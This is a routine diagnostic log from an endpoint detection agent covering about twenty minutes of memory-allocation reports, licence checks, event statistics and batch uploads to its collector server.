2026-03-04 22:23:26 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s336ms.
2026-03-04 22:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1953 KB; TcpIpConnectionsManager: 675 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 253 KB; cloudutils::CloudData: 141 KB; BaseEvent: 87 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37649 KB;
2026-03-04 22:24:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:24:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:24:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:24:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2313 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BaseEvent: 267 KB; rules::ProcessConditionsCache: 170 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 72 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38023 KB;
2026-03-04 22:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2701 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 448 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 221 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 120 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38720 KB;
2026-03-04 22:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3062 KB; ModuleMetadata: 2037 KB; BaseEvent: 627 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 199 KB; BatchSerializer::EventsQueueTag: 167 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39299 KB;
2026-03-04 22:27:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:23:24, To:, 2026-03-04 22:27:29, Duration (s):, 245, Events Per Second:, 16.752, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3411, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456944
2026-03-04 22:27:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s346ms.
2026-03-04 22:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1487 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 188 KB; cloudutils::CloudData: 141 KB; BaseEvent: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36961 KB;
2026-03-04 22:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1872 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 253 KB; rules::ProcessConditionsCache: 240 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 69 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37633 KB;
2026-03-04 22:29:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:29:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:29:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:29:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2244 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; BaseEvent: 432 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 222 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 116 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38225 KB;
2026-03-04 22:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2617 KB; ModuleMetadata: 2037 KB; BaseEvent: 615 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 213 KB; BatchSerializer::EventsQueueTag: 164 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38824 KB;
2026-03-04 22:31:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:27:28, To:, 2026-03-04 22:31:33, Duration (s):, 245, Events Per Second:, 16.795, Events:, 4124, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3424, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458044
2026-03-04 22:31:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s365ms.
2026-03-04 22:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1465 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 203 KB; cloudutils::CloudData: 141 KB; BaseEvent: 63 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 36946 KB;
2026-03-04 22:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2119 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 662 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 381 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 99 KB; rules::ProcessConditionsCache: 95 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38010 KB;
2026-03-04 22:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2800 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 813 KB; BaseEvent: 708 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 186 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39196 KB;
2026-03-04 22:34:00 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:31:33, To:, 2026-03-04 22:34:00, Duration (s):, 147, Events Per Second:, 28.000, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3410, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457311
2026-03-04 22:34:01 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s390ms.
2026-03-04 22:34:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:34:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:34:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:34:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2582 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 947 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 390 KB; ModuleInfoCache: 325 KB; BaseEvent: 316 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 82 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38971 KB;
2026-03-04 22:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3247 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 964 KB; BaseEvent: 641 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 300 KB; BatchSerializer::EventsQueueTag: 167 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39977 KB;
2026-03-04 22:36:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:33:59, To:, 2026-03-04 22:36:13, Duration (s):, 134, Events Per Second:, 30.707, Events:, 4131, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3404, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 726, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459885
2026-03-04 22:36:16 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s676ms.
2026-03-04 22:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2780 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 942 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 214 KB; rules::ProcessConditionsCache: 187 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38836 KB;
2026-03-04 22:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3140 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 788 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; BaseEvent: 391 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 167 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 103 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39233 KB;
2026-03-04 22:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3501 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 647 KB; BaseEvent: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 155 KB; BatchSerializer::EventsQueueTag: 150 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39667 KB;
2026-03-04 22:39:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:39:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:39:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:39:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:39:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:36:13, To:, 2026-03-04 22:39:41, Duration (s):, 208, Events Per Second:, 19.710, Events:, 4109, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3417, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 691, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458043
2026-03-04 22:39:43 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s400ms.
2026-03-04 22:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1473 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 148 KB; cloudutils::CloudData: 141 KB; BaseEvent: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36867 KB;
2026-03-04 22:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1841 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 212 KB; rules::ProcessConditionsCache: 145 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 54 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37462 KB;
2026-03-04 22:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2203 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BaseEvent: 390 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 136 KB; BatchSerializer::EventsQueueTag: 101 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38033 KB;
2026-03-04 22:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2560 KB; ModuleMetadata: 2037 KB; BaseEvent: 567 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 148 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 109 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38563 KB;
2026-03-04 22:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:43:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:39:41, To:, 2026-03-04 22:43:53, Duration (s):, 252, Events Per Second:, 16.254, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3389, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457523
2026-03-04 22:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1291 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BatchStringTag: 446 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 107 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BaseEvent: 3 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 0 KB; Total: 37023 KB;
2026-03-04 22:43:56 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s553ms.
2026-03-04 22:44:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:44:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:44:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:44:06 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1650 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; BaseEvent: 179 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 90 KB; BatchSerializer::EventsQueueTag: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37160 KB;
2026-03-04 22:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 2013 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 359 KB; ModuleInfoCache: 325 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 93 KB; rules::ProcessConditionsCache: 81 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37739 KB;
